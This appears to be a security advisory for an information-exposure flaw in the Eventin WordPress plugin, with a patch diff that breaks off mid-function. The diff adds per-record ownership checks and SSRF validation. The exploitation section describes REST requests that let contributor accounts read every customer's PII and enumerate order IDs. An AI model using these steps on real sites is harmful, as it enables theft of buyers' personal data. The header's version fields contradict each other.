Published : August 13, 2026

CVE-2026-13177: Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce < 4.1.20 Authenticated (Contributor+) Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 4.1.20
Patched Version 4.1.20
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13177: This vulnerability affects the Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce plugin for WordPress, specifically in versions up to and including 4.1.20. It allows authenticated attackers with contributor-level access or above to extract sensitive user or configuration data due to a Sensitive Information Exposure flaw. The vulnerability, assigned a CVSS score of 4.3, stems from multiple insecure access control checks across various REST API endpoints and data handling routines.

Paragraph 2 – Root Cause: The root cause is a failure to enforce proper object-level authorization on multiple REST API routes. A prime example is in `wp-event-solution/core/Customer/Api/CustomerController.php`. The `get_item_permissions_check` method previously only checked `current_user_can( ‘etn_manage_event’ )`, a capability granted to ‘Contributor’ and ‘Author’ roles by default. This allowed any such user to access the full customer collection, which contains all buyer PII. Similarly, in `wp-event-solution/core/Order/OrderController.php`, the `get_item_permissions_check` function for single orders had a branch that returned `true` for any user with `etn_manage_event`, allowing enumeration of order PII. Other routes for events, including updates and deletes, lacked ownership checks on `post_author`, permitting cross-user modification. Additionally, the setting `fluent_crm_webhook` in `wp-event-solution/core/event/Api/EventController.php` was stored raw without validation, creating an SSRF sink.

Paragraph 3 – Exploitation: An attacker with contributor-level access can exploit these flaws through several vectors. For customer data exposure, they can send a GET request to the REST API endpoint `/?rest_route=/eventin/v1/customer` with a valid `X-WP-Nonce`. The server would return the entire list of customers, including names and emails, due to the insufficient permission check. For order data, an attacker could send a GET request to `/?rest_route=/eventin/v1/order/{order_id}` and iterate through order IDs. The unauthorised branch in the permission check would return `true`, exposing the order’s details and associated customer PII. For information disclosure via events, they can use the clone or update endpoints on event IDs they do not own to read the full data of those events.

Paragraph 4 – Patch Analysis: The patch introduces a new `EventinAccessControlOwnership` class to centralize object-level authorization. This class provides methods like `can_manage_post`, `can_manage_user`, and `can_manage_order` to check if the current user owns the specific resource. Controllers now call these methods in conjunction with the existing capability checks. For instance, `CustomerController` now requires `manage_options`, while `OrderController` and `EventController` use `Ownership::can_manage_*` to verify record ownership. The patch also sanitizes the `fluent_crm_webhook` value with `esc_url_raw()` at the storage point and uses `wp_safe_remote_post()` at the send point to prevent SSRF. Additionally, it fixes a critical flaw where auto-created customer accounts had predictable passwords (`wp_hash_password(time())`) and adds safeguards against creating accounts when registration is disabled.

Paragraph 5 – Impact: Successful exploitation of this vulnerability allows an authenticated contributor to access and exfiltrate sensitive data, including the personal information of all customers registered on the site, order details, and potentially event data belonging to other users. This exposed data can be used for targeted phishing campaigns, identity theft, or sold to third parties. The unauthorized modification of events could lead to content defacement or misinformation. The SSRF vulnerability through the webhook could be leveraged to probe internal network services.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-event-solution/base/Settings.php
+++ b/wp-event-solution/base/Settings.php
@@ -77,6 +77,27 @@
     ];

     /**
+     * Setting keys whose value is used to build a template include path.
+     *
+     * Why: sanitize_text_field preserves `../`, and these values are
+     * concatenated into include_once() when rendering a single speaker/event.
+     * Storing a traversal sequence here, combined with any local file-write
+     * primitive, is local file inclusion. Confine them to a bare slug on write;
+     * the read side confines them again (see
+     * EtnUtilsHelper::sanitize_template_slug()).
+     *
+     * Both keys legitimately hold EITHER a static template slug ('event-one',
+     * 'speaker-two-lite', 'style-1', and the Pro-only 'speaker-two' /
+     * 'speaker-three' / 'event-two' / 'event-three') OR the numeric post id of
+     * a custom `etn-template` post. The `[A-Za-z0-9_-]` rule accepts both, so
+     * no legitimate value — free or Pro — is rejected.
+     */
+    protected static $template_slug_keys = [
+        'speaker_template',
+        'event_template',
+    ];
+
+    /**
      * Recursively sanitize settings, preserving safe HTML for email body fields.
      *
      * Email body fields (keyed `body`) are edited via a rich-text editor and
@@ -99,6 +120,12 @@
             } elseif ( in_array( $key, self::$hex_color_keys, true ) ) {
                 $hex             = sanitize_hex_color( (string) $value );
                 $sanitized[$key] = null === $hex ? '' : $hex;
+            } elseif ( in_array( $key, self::$template_slug_keys, true ) ) {
+                // Reject anything that is not a bare slug rather than silently
+                // substituting a default, so a bad value cannot be stored and
+                // the existing setting is left untouched.
+                $slug            = EtnUtilsHelper::sanitize_template_slug( $value, '' );
+                $sanitized[$key] = $slug;
             } else {
                 $sanitized[$key] = sanitize_text_field( $value );
             }
--- a/wp-event-solution/core/AccessControl/Ownership.php
+++ b/wp-event-solution/core/AccessControl/Ownership.php
@@ -0,0 +1,249 @@
+<?php
+/**
+ * Object-level (per-record) authorization helpers.
+ *
+ * Eventin grants its `etn_manage_*` capabilities to Contributor and Author by
+ * default (see Permission::default_role_permissions()). Those capabilities are
+ * *collection-level* — they say "this user may use the events screen", not
+ * "this user may edit event 412". Until 4.1.20 most per-id REST routes checked
+ * only the capability, so any Contributor could update, delete or read objects
+ * belonging to other users including administrators (BOLA).
+ *
+ * This class is the single place that answers "does the caller own this
+ * object?". Controllers call it from their `*_permissions_check` methods in
+ * addition to — never instead of — the capability check.
+ *
+ * Ownership model:
+ *   - Posts (events, schedules): `post_author`.
+ *   - Speakers/organizers (WP users): the `author` user meta that
+ *     SpeakerController writes on create.
+ *   - Orders: the order's event owner, or the customer the order belongs to.
+ *
+ * `manage_options` always passes — administrators are not scoped.
+ *
+ * @package Eventin
+ */
+
+namespace EventinAccessControl;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Ownership class
+ */
+class Ownership {
+
+    /**
+     * Does the current user bypass all ownership scoping?
+     *
+     * Administrators (and anyone a site grants `manage_options` to) manage the
+     * whole install, so per-object checks do not apply to them.
+     *
+     * @return bool
+     */
+    public static function is_unscoped() {
+        /**
+         * Filter whether the current user bypasses per-object ownership checks.
+         *
+         * Multi-organizer setups (WCFM, Dokan) can widen this to let a store
+         * manager act on their vendors' objects.
+         *
+         * @param bool $unscoped Whether ownership checks are skipped.
+         */
+        return (bool) apply_filters( 'eventin_ownership_is_unscoped', current_user_can( 'manage_options' ) );
+    }
+
+    /**
+     * Can the current user act on this post?
+     *
+     * @param int         $post_id   Post id to test.
+     * @param string|null $post_type Optional expected post type. When given, a
+     *                               post of any other type is rejected outright
+     *                               so an id from one collection cannot be used
+     *                               to reach another.
+     *
+     * @return bool
+     */
+    public static function can_manage_post( $post_id, $post_type = null ) {
+        $post_id = absint( $post_id );
+
+        if ( ! $post_id ) {
+            return false;
+        }
+
+        $post = get_post( $post_id );
+
+        if ( ! $post ) {
+            return false;
+        }
+
+        if ( $post_type && $post_type !== $post->post_type ) {
+            return false;
+        }
+
+        if ( self::is_unscoped() ) {
+            return true;
+        }
+
+        $user_id = get_current_user_id();
+
+        if ( ! $user_id ) {
+            return false;
+        }
+
+        $owns = ( (int) $post->post_author === (int) $user_id );
+
+        /**
+         * Filter the per-post ownership decision.
+         *
+         * @param bool     $owns    Whether the current user owns the post.
+         * @param WP_Post $post    The post being tested.
+         * @param int      $user_id Current user id.
+         */
+        return (bool) apply_filters( 'eventin_can_manage_post', $owns, $post, $user_id );
+    }
+
+    /**
+     * Can the current user act on every one of these posts?
+     *
+     * Used by bulk routes, which must not partially succeed on someone else's
+     * records. Returns false on an empty list — an empty bulk request is a
+     * client error, and returning true would read as "authorized".
+     *
+     * @param array       $post_ids  Post ids to test.
+     * @param string|null $post_type Optional expected post type.
+     *
+     * @return bool
+     */
+    public static function can_manage_posts( $post_ids, $post_type = null ) {
+        $post_ids = array_filter( array_map( 'absint', (array) $post_ids ) );
+
+        if ( ! $post_ids ) {
+            return false;
+        }
+
+        foreach ( $post_ids as $post_id ) {
+            if ( ! self::can_manage_post( $post_id, $post_type ) ) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Can the current user act on this speaker/organizer user record?
+     *
+     * Speakers and organizers are WP users, so this defers to WordPress's own
+     * `edit_user` meta capability first — that is what stops a Contributor from
+     * touching an administrator's account. On top of that, a non-admin must be
+     * the recorded creator (the `author` user meta SpeakerController writes on
+     * create), so one Contributor cannot manage another Contributor's speakers.
+     *
+     * @param int $target_user_id User id to test.
+     *
+     * @return bool
+     */
+    public static function can_manage_user( $target_user_id ) {
+        $target_user_id = absint( $target_user_id );
+
+        if ( ! $target_user_id || ! get_userdata( $target_user_id ) ) {
+            return false;
+        }
+
+        if ( self::is_unscoped() ) {
+            return true;
+        }
+
+        $user_id = get_current_user_id();
+
+        if ( ! $user_id ) {
+            return false;
+        }
+
+        // Own account is always manageable.
+        if ( (int) $target_user_id === (int) $user_id ) {
+            return true;
+        }
+
+        // WordPress's own gate. A Contributor holds no `edit_users`, so this is
+        // false for every account but their own — which is what blocks the
+        // role/meta overwrite and the account deletion.
+        if ( ! current_user_can( 'edit_user', $target_user_id ) ) {
+            return false;
+        }
+
+        $author = absint( get_user_meta( $target_user_id, 'author', true ) );
+        $owns   = ( $author && $author === (int) $user_id );
+
+        /**
+         * Filter the per-user ownership decision.
+         *
+         * @param bool $owns           Whether the current user owns the record.
+         * @param int  $target_user_id User being tested.
+         * @param int  $user_id        Current user id.
+         */
+        return (bool) apply_filters( 'eventin_can_manage_user', $owns, $target_user_id, $user_id );
+    }
+
+    /**
+     * Can the current user act on this order?
+     *
+     * An order is reachable by the organizer who owns the event it was placed
+     * against, and by the customer who placed it. Everyone else is refused,
+     * including holders of `etn_manage_event` who do not own the event — that
+     * is the residual half of CVE-2026-4109.
+     *
+     * @param int $order_id Order post id.
+     *
+     * @return bool
+     */
+    public static function can_manage_order( $order_id ) {
+        $order_id = absint( $order_id );
+
+        if ( ! $order_id ) {
+            return false;
+        }
+
+        $order = get_post( $order_id );
+
+        if ( ! $order || 'etn-order' !== $order->post_type ) {
+            return false;
+        }
+
+        if ( self::is_unscoped() ) {
+            return true;
+        }
+
+        $user_id = get_current_user_id();
+
+        if ( ! $user_id ) {
+            return false;
+        }
+
+        // The customer who placed the order.
+        $customer_id = absint( get_post_meta( $order_id, 'customer_id', true ) );
+
+        if ( $customer_id && $customer_id === (int) $user_id ) {
+            return true;
+        }
+
+        // The organizer who owns the event the order was placed against.
+        $event_id = absint( get_post_meta( $order_id, 'event_id', true ) );
+        $owns     = false;
+
+        if ( $event_id ) {
+            $event = get_post( $event_id );
+            $owns  = ( $event && (int) $event->post_author === (int) $user_id );
+        }
+
+        /**
+         * Filter the per-order ownership decision.
+         *
+         * @param bool $owns     Whether the current user may act on the order.
+         * @param int  $order_id Order being tested.
+         * @param int  $user_id  Current user id.
+         */
+        return (bool) apply_filters( 'eventin_can_manage_order', $owns, $order_id, $user_id );
+    }
+}
--- a/wp-event-solution/core/Customer/Api/CustomerController.php
+++ b/wp-event-solution/core/Customer/Api/CustomerController.php
@@ -97,13 +97,19 @@
     }

     /**
-     * Check if a given request has access to get items.
+     * Check if a given request has access to read customers.
+     *
+     * The customer list is the site's full buyer PII table — every name and
+     * email. It was previously readable by anyone holding `etn_manage_event`,
+     * which Contributor and Author hold on a stock install, while all three
+     * write checks already required `manage_options`. The read now matches the
+     * writes: the whole collection is administrator-only.
      *
      * @param WP_REST_Request $request Full data about the request.
      * @return WP_Error|boolean
      */
     public function get_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_event' ) && wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
+        return current_user_can( 'manage_options' ) && wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
     }

     /**
--- a/wp-event-solution/core/Customer/CustomerModel.php
+++ b/wp-event-solution/core/Customer/CustomerModel.php
@@ -82,7 +82,12 @@
             'last_name'  => $input->get( 'last_name' ),
             'user_login' => $user_login,
             'user_email' => $input->get( 'email' ),
-            'user_pass'  => wp_hash_password(time()),
+            // Was wp_hash_password( time() ), which made the plaintext password
+            // of every auto-created customer account the Unix timestamp of its
+            // creation — a few-hundred-candidate brute force against an account
+            // the buyer never chose a password for. wp_insert_user() hashes this
+            // itself, so pass a real random secret, not a pre-hashed one.
+            'user_pass'  => wp_generate_password( 24, true, true ),
             'role'       => 'etn-customer'
         ];

--- a/wp-event-solution/core/Integrations/Integration.php
+++ b/wp-event-solution/core/Integrations/Integration.php
@@ -52,13 +52,27 @@
             wp_die( esc_html__( 'You do not have permission to authorize integrations.', 'eventin' ), '', [ 'response' => 403 ] );
         }

-        $stored_state = get_transient( ZoomCredential::STATE_TRANSIENT_KEY . $user_id );
+        $matched_key = '';

-        if ( ! $state || ! $stored_state || ! hash_equals( (string) $stored_state, $state ) ) {
+        if ( $state ) {
+            // Accept the first key whose stored value actually matches. Stopping at the
+            // first key that merely holds *a* value would let a stale scoped token
+            // shadow a live legacy one during a pro up/downgrade mid-flow.
+            foreach ( $this->get_state_transient_keys( $query_var, $user_id ) as $state_key ) {
+                $stored_state = get_transient( $state_key );
+
+                if ( $stored_state && hash_equals( (string) $stored_state, $state ) ) {
+                    $matched_key = $state_key;
+                    break;
+                }
+            }
+        }
+
+        if ( ! $matched_key ) {
             wp_die( esc_html__( 'Invalid OAuth state — authorization rejected.', 'eventin' ), '', [ 'response' => 403 ] );
         }

-        delete_transient( ZoomCredential::STATE_TRANSIENT_KEY . $user_id );
+        delete_transient( $matched_key );

         switch ( $query_var ) {
         case 'zoom-auth':
@@ -75,6 +89,57 @@
     }

     /**
+     * Resolve the transient keys that may hold the OAuth CSRF state for a callback.
+     *
+     * Every provider writes its state under a provider-scoped key so two connect
+     * flows can't clobber each other (see ZoomCredential::STATE_TRANSIENT_KEY).
+     * This callback is shared by all providers, so the key must be derived from
+     * the endpoint being hit rather than hardcoded to Zoom's — hardcoding it made
+     * the Google Meet callback reject every authorization, valid state included.
+     *
+     * Only Zoom is mapped here, because only Zoom lives in this plugin. Providers
+     * shipped elsewhere register their scoped key through the
+     * `eventin_oauth_state_transient_keys` filter, so this file never has to name a
+     * key it does not own. The legacy unscoped key stays as the default for
+     * unmapped providers: eventin-pro <= 4.1.x writes Google's state to
+     * `eventin_oauth_state_{user_id}` and does not register the filter, and pro
+     * updates lag the free plugin. Same token, same TTL — only the storage key
+     * differs, so the fallback costs nothing in CSRF strength. Drop it once the pro
+     * minimum version is bumped past the release that registers the filter.
+     *
+     * @param   string  $query_var  Endpoint being authenticated (e.g. `google-auth`).
+     * @param   int     $user_id    Current user id.
+     *
+     * @return  string[]  Candidate transient keys, most specific first.
+     */
+    protected function get_state_transient_keys( $query_var, $user_id ) {
+        $prefixes = [
+            'zoom-auth' => [ ZoomCredential::STATE_TRANSIENT_KEY ],
+        ];
+
+        // Providers this plugin does not own (Google Meet lives in eventin-pro) fall
+        // back to the legacy unscoped key and prepend their own scoped key via the
+        // filter below. Keeping the legacy default here is what lets a newer free
+        // plugin still authorize against an older pro that has not been updated.
+        $keys = isset( $prefixes[ $query_var ] ) ? $prefixes[ $query_var ] : [ 'eventin_oauth_state_' ];
+
+        /**
+         * Filter the OAuth state transient key prefixes for an integration callback.
+         *
+         * @param   string[]  $keys       Key prefixes, most specific first.
+         * @param   string    $query_var  Endpoint being authenticated.
+         */
+        $keys = apply_filters( 'eventin_oauth_state_transient_keys', $keys, $query_var );
+
+        return array_map(
+            function ( $prefix ) use ( $user_id ) {
+                return $prefix . $user_id;
+            },
+            (array) $keys
+        );
+    }
+
+    /**
      * Authentication for zoom
      *
      * @param   string  $code
--- a/wp-event-solution/core/Integrations/Webhook/FluentCRM.php
+++ b/wp-event-solution/core/Integrations/Webhook/FluentCRM.php
@@ -46,8 +46,16 @@



-        if ( $fluentCRM_enable ==='yes' && !empty( $fluentcrm_webhook ) ) {
-            $response_user = wp_remote_post($fluentcrm_webhook, ['body' => $body]);
+        if ( $fluentCRM_enable ==='yes' && !empty( $fluentcrm_webhook ) ) {
+            // wp_safe_remote_post applies WordPress's HTTP request validation:
+            // it refuses non-http(s) schemes and, on the front end, refuses
+            // private/loopback addresses. Stored values predating 4.1.20 were
+            // never escaped, so re-validate at send time too.
+            $fluentcrm_webhook = esc_url_raw( $fluentcrm_webhook );
+
+            if ( $fluentcrm_webhook ) {
+                $response_user = wp_safe_remote_post($fluentcrm_webhook, ['body' => $body]);
+            }
         }
     }

@@ -69,7 +77,12 @@


 		if ( $fluentCRM_enable ==='yes' && !empty( $fluentcrm_webhook ) ) {
-			$response_user = wp_remote_post($fluentcrm_webhook, ['body' => $body]);
+			// See send_data() — same validation, same reason.
+			$fluentcrm_webhook = esc_url_raw( $fluentcrm_webhook );
+
+			if ( $fluentcrm_webhook ) {
+				$response_user = wp_safe_remote_post($fluentcrm_webhook, ['body' => $body]);
+			}
 		}
 	}

--- a/wp-event-solution/core/Order/OrderController.php
+++ b/wp-event-solution/core/Order/OrderController.php
@@ -6,6 +6,7 @@

 use EtnCoreAttendeeAttendee_Model;
 use EtnCoreEventEvent_Model;
+use EventinAccessControlOwnership;
 use EventinAttendeeAttendeeTicketIdGenerator;
 use EventinCustomerCustomerModel;
 use EventinInput;
@@ -149,8 +150,14 @@
             [
                 'methods'             => WP_REST_Server::CREATABLE,
                 'callback'            => [$this, 'add_to_waiting_list'],
+                // Was `return true` — fully unauthenticated, and the callback
+                // creates a WordPress user for whatever email is posted. Guests
+                // must still be able to join a waiting list from the front end,
+                // so this matches the guest order path (create_item): a valid
+                // wp_rest nonce, which proves the request came from a real page
+                // load rather than a script hitting the route directly.
                 'permission_callback' => function( $request ) {
-                    return true;
+                    return (bool) wp_verify_nonce( $request->get_header( 'X-WP-Nonce' ), 'wp_rest' );
                 },
             ],
         ] );
@@ -189,8 +196,26 @@
         return false;
     }

+    /**
+     * Check if a given request has access to read a single order.
+     *
+     * CVE-2026-4109 was only half-fixed in 4.1.9: the token branch below was
+     * tightened, but the capability branch still returned true for anyone
+     * holding `etn_manage_event` — which Contributor and Author hold by default
+     * — so iterating ids read every customer's order PII. The capability now
+     * gates access to the feature; ownership of the specific order decides
+     * whether this call may proceed, matching how get_items() already scopes
+     * the list.
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function get_item_permissions_check( $request ) {
-        if ( current_user_can( 'etn_manage_event' ) ) {
+        // Object-level check. Passes for an administrator, for the organizer who
+        // owns the event the order was placed against, and for the etn-customer
+        // the order belongs to (who holds no etn_manage_* capability at all, so
+        // this must not be nested behind a capability test).
+        if ( is_user_logged_in() && Ownership::can_manage_order( $request['id'] ) ) {
             return true;
         }

@@ -2073,8 +2098,34 @@
             $user_data = get_user_by( 'email', $email );

             $customer = new CustomerModel( $user_data->ID );
-            $customer->assign_role(['etn-customer']);
+
+            // This path is reachable by an unauthenticated buyer, so the email
+            // posted is unverified — it may well be someone else's. Linking the
+            // order to the account is harmless, but granting a role to an
+            // account that can administer something is not. Skip the role for
+            // privileged accounts; ordinary buyers are unaffected.
+            if ( ! user_can( $user_data->ID, 'edit_posts' ) && ! user_can( $user_data->ID, 'manage_options' ) ) {
+                $customer->assign_role( ['etn-customer'] );
+            }
         } else {
+            // Do not mint WordPress accounts from a guest checkout when the site
+            // has registration switched off. Honouring the site policy is what
+            // stops this endpoint being an open account-creation primitive.
+            // Staff creating an order from the admin screens are unaffected.
+            if ( ! get_option( 'users_can_register' ) && ! current_user_can( 'etn_manage_order' ) ) {
+                /**
+                 * Fires when a guest order could not be linked to an account
+                 * because registration is disabled. The order still holds the
+                 * buyer's contact details; only the WP user is skipped.
+                 *
+                 * @param OrderModel $order The order just created.
+                 * @param string     $email The buyer's email.
+                 */
+                do_action( 'eventin_guest_customer_creation_skipped', $order, $email );
+
+                return;
+            }
+
             $customer = CustomerModel::create([
                 'first_name'    => $input->get('customer_fname'),
                 'last_name'     => $input->get('customer_lname'),
@@ -2082,6 +2133,10 @@
             ]);
         }

+        if ( is_wp_error( $customer ) || empty( $customer->id ) ) {
+            return;
+        }
+
         $order->update( [
             'customer_id' => $customer->id
         ] );
--- a/wp-event-solution/core/event/Api/EventController.php
+++ b/wp-event-solution/core/event/Api/EventController.php
@@ -10,6 +10,7 @@
 defined( 'ABSPATH' ) || exit;

 use Error;
+use EventinAccessControlOwnership;
 use EventinEventEventExporter;
 use EventinEventEventImporter;
 use EtnCoreEventEvent_Model;
@@ -256,8 +257,12 @@
                 array(
                     'methods'             => WP_REST_Server::EDITABLE,
                     'callback'            => array( $this, 'update_author' ),
+                    // Reassigning post_author is an ownership transfer. Only an
+                    // administrator may perform one — an organizer handing their
+                    // own event to someone else, or (before 4.1.20) taking an
+                    // administrator's event, is not an authoring action.
                     'permission_callback' => function() {
-                        return current_user_can( 'etn_manage_event' );
+                        return current_user_can( 'etn_manage_event' ) && current_user_can( 'manage_options' );
                     },
                 ),

@@ -271,7 +276,12 @@
             [
                 'methods'             => WP_REST_Server::EDITABLE,
                 'callback'            => [$this, 'set_unset_event_as_homepage'],
-                'permission_callback' => [$this, 'update_item_permissions_check'],
+                // Writes the site-wide `show_on_front` / `page_on_front`
+                // options, so this is a settings change, not an event edit.
+                // Owning the event is not enough.
+                'permission_callback' => function () {
+                    return current_user_can( 'manage_options' );
+                },
                 'args'                => [
                     'id' => [
                         'description' => __('Unique identifier for the event.', 'eventin'),
@@ -322,7 +332,13 @@
      * @return bool
      */
     public function clone_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_event' );
+        if ( ! current_user_can( 'etn_manage_event' ) ) {
+            return false;
+        }
+
+        // Cloning copies out the source event's full data, so it is a read of
+        // that event as much as a write of a new one.
+        return Ownership::can_manage_post( $request['id'], 'etn' );
     }

     /**
@@ -1075,8 +1091,23 @@
      * @param WP_REST_Request $request Full details about the request.
      * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
      */
+    /**
+     * Check if a given request has access to update an event.
+     *
+     * `etn_manage_event` is collection-level and is held by Contributor and
+     * Author on a stock install, so on its own it let any Contributor edit an
+     * administrator's event. The capability still gates access to the feature;
+     * ownership of the specific event decides whether this call may proceed.
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function update_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_event' );
+        if ( ! current_user_can( 'etn_manage_event' ) ) {
+            return false;
+        }
+
+        return Ownership::can_manage_post( $request['id'], 'etn' );
     }

     /**
@@ -1214,8 +1245,27 @@
      * @param WP_REST_Request $request Full data about the request.
      * @return WP_Error|WP_REST_Response
      */
+    /**
+     * Check if a given request has access to delete events.
+     *
+     * Serves both the per-id route and the bulk route (which carries `ids` in
+     * the body instead). Both are scoped to events the caller owns — a bulk
+     * request containing one foreign id is refused outright rather than
+     * partially applied.
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function delete_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_event' );
+        if ( ! current_user_can( 'etn_manage_event' ) ) {
+            return false;
+        }
+
+        if ( ! empty( $request['ids'] ) ) {
+            return Ownership::can_manage_posts( $request['ids'], 'etn' );
+        }
+
+        return Ownership::can_manage_post( $request['id'], 'etn' );
     }

     /**
@@ -2130,7 +2180,10 @@
         }

         if ( isset( $input_data['fluent_crm_webhook'] ) ) {
-            $event_data['fluent_crm_webhook'] = $input_data['fluent_crm_webhook'];
+            // Was stored raw while the three neighbouring webhook fields below
+            // were escaped — the odd one out. The value is later fetched
+            // server-side, so an unvalidated string here is an SSRF sink.
+            $event_data['fluent_crm_webhook'] = esc_url_raw( $input_data['fluent_crm_webhook'] );
         }

         if ( isset( $input_data['mail_mint_webhook'] ) ) {
@@ -2496,6 +2549,17 @@
             return new WP_Error('invalid_author', __( 'Invalid author id', 'eventin' ), ['status' => 422]);
         }

+        // Defence in depth: the route is already administrator-only, but keep
+        // the transfer itself guarded so a future re-wiring of the route cannot
+        // silently reopen the takeover.
+        if ( ! current_user_can( 'manage_options' ) ) {
+            return new WP_Error(
+                'rest_forbidden',
+                __( 'Sorry, you are not allowed to reassign the author of this event.', 'eventin' ),
+                ['status' => 403]
+            );
+        }
+
         $updated = wp_update_post([
             'ID'          => $event_id,
             'post_author' => $author_id
@@ -2568,6 +2632,10 @@
             return new WP_Error('invalid_status', __( 'Status must be Publish OR Draft', 'eventin' ), array('status' => 400));
         }

+        // Validate the WHOLE batch before writing anything. Checking inside the
+        // write loop would publish/unpublish the caller's own events and only
+        // then refuse on the first foreign id — a partial application that
+        // leaves the batch half-applied and is not undone.
         foreach ($event_ids as $event_id) {
             $event = get_post($event_id);
             if (!$event || $event->post_type !== 'etn') {
@@ -2578,6 +2646,18 @@
                 );
             }

+            // The route's capability check is collection-level; publishing or
+            // unpublishing someone else's event needs ownership of that event.
+            if ( ! Ownership::can_manage_post( $event_id, 'etn' ) ) {
+                return new WP_Error(
+                    'rest_forbidden',
+                    __( 'Sorry, you are not allowed to update this event.', 'eventin' ),
+                    ['status' => 403]
+                );
+            }
+        }
+
+        foreach ($event_ids as $event_id) {
             $result = wp_update_post([
                 'ID' => $event_id,
                 'post_status' => $status
--- a/wp-event-solution/core/event/api.php
+++ b/wp-event-solution/core/event/api.php
@@ -305,15 +305,21 @@
 	*/
 	public function get_list() {
 		$request        = $this->request;
-		$user_id        = isset( $request['user_id'] ) ? intval( $request['user_id'] ) : 0;
+		$requested_user = isset( $request['user_id'] ) ? intval( $request['user_id'] ) : 0;
 		$posts_per_page = isset( $request['posts_per_page'] ) ? intval( $request['posts_per_page'] ) : 20;
 		$paged          = isset( $request['paged'] ) ? intval( $request['paged'] ) : 1;
 		$group_id       = isset( $request['group_id'] ) ? intval( $request['group_id'] ) : 0;
 		$type           = isset( $request['type'] ) ? $request['type'] : "";

+		// The central v1 permission check only verifies the wp_rest nonce, so
+		// this route is reachable by any low-privilege user. Non-published
+		// events (drafts, pending, private) are only ever visible to someone
+		// who may read them; everyone else sees the published list.
+		$can_read_unpublished = current_user_can( 'edit_others_posts' ) || current_user_can( 'manage_options' );
+
 		$args = [
 			'post_type'      => 'etn',
-			'post_status'    => 'any',
+			'post_status'    => $can_read_unpublished ? 'any' : 'publish',
 			'posts_per_page' => $posts_per_page,
 			'paged'          => $paged,
 		];
@@ -339,10 +345,32 @@
 			];
 		}

-		$user = get_userdata( $user_id );
+		// The author scope must come from the session, never from the request.
+		// Previously `user_id` was taken straight off the query string: passing
+		// someone else's id returned THEIR drafts and private events, and
+		// passing an administrator's id skipped the author filter entirely and
+		// returned every event on the site in every status.
+		//
+		// An administrator may still browse another user's events by passing
+		// user_id; for everyone else the parameter is ignored.
+		if ( current_user_can( 'manage_options' ) ) {
+			if ( $requested_user ) {
+				$args['author'] = $requested_user;
+			}
+		} else {
+			$current_user_id = get_current_user_id();
+
+			if ( ! $current_user_id ) {
+				// Logged-out callers get the public published list, unscoped by
+				// author. post_status is already forced to publish above.
+				$args['author'] = '';
+			} else {
+				$args['author'] = $current_user_id;
+			}
+		}

-		if ( ! user_can( $user, 'manage_options' ) ) {
-			$args['author'] = $user_id;
+		if ( empty( $args['author'] ) ) {
+			unset( $args['author'] );
 		}

 		// Hide the shipped preview-placeholder event from this v1 REST list (the
--- a/wp-event-solution/core/schedule/Api/ScheduleController.php
+++ b/wp-event-solution/core/schedule/Api/ScheduleController.php
@@ -9,6 +9,7 @@

 defined( 'ABSPATH' ) || exit;

+use EventinAccessControlOwnership;
 use EventinScheduleScheduleExporter;
 use EventinScheduleScheduleImporter;
 use EtnCoreScheduleSchedule_Model;
@@ -318,8 +319,22 @@
      * @param WP_REST_Request $request Full data about the request.
      * @return WP_Error|boolean
      */
+    /**
+     * Check if a given request has access to update a schedule.
+     *
+     * get_items() already scopes the listing to the caller's own schedules;
+     * this applies the same per-object author test to the write path, which
+     * previously checked only the collection-level capability.
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function update_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_schedule' );
+        if ( ! current_user_can( 'etn_manage_schedule' ) ) {
+            return false;
+        }
+
+        return Ownership::can_manage_post( $request['id'], 'etn-schedule' );
     }

     /**
@@ -436,8 +451,26 @@
      * @param WP_REST_Request $request Request object.
      * @return WP_Error|object $prepared_item
      */
+    /**
+     * Check if a given request has access to delete schedules.
+     *
+     * Serves both the per-id route and the bulk route (`ids` in the body). A
+     * bulk request containing one foreign id is refused outright rather than
+     * partially applied.
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function delete_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_schedule' );
+        if ( ! current_user_can( 'etn_manage_schedule' ) ) {
+            return false;
+        }
+
+        if ( ! empty( $request['ids'] ) ) {
+            return Ownership::can_manage_posts( $request['ids'], 'etn-schedule' );
+        }
+
+        return Ownership::can_manage_post( $request['id'], 'etn-schedule' );
     }

     /**
--- a/wp-event-solution/core/speaker/Api/SpeakerController.php
+++ b/wp-event-solution/core/speaker/Api/SpeakerController.php
@@ -9,6 +9,7 @@

 defined( 'ABSPATH' ) || exit;

+use EventinAccessControlOwnership;
 use EventinSpeakerSpeakerExporter;
 use EventinSpeakerSpeakerImporter;
 use EtnCoreSpeakerUser_Model;
@@ -648,9 +649,38 @@
      * @param WP_REST_Request $request Full data about the request.
      * @return WP_Error|WP_REST_Response
      */
+    /**
+     * Check if a given request has access to delete speakers.
+     *
+     * Deleting a speaker deletes the underlying WordPress user, so the
+     * collection-level capability is not enough — a Contributor holding
+     * `etn_manage_organizer` could otherwise remove speaker and organizer
+     * accounts created by other people. Serves both the per-id route and the
+     * bulk route (`ids` in the body).
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function delete_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_organizer' )
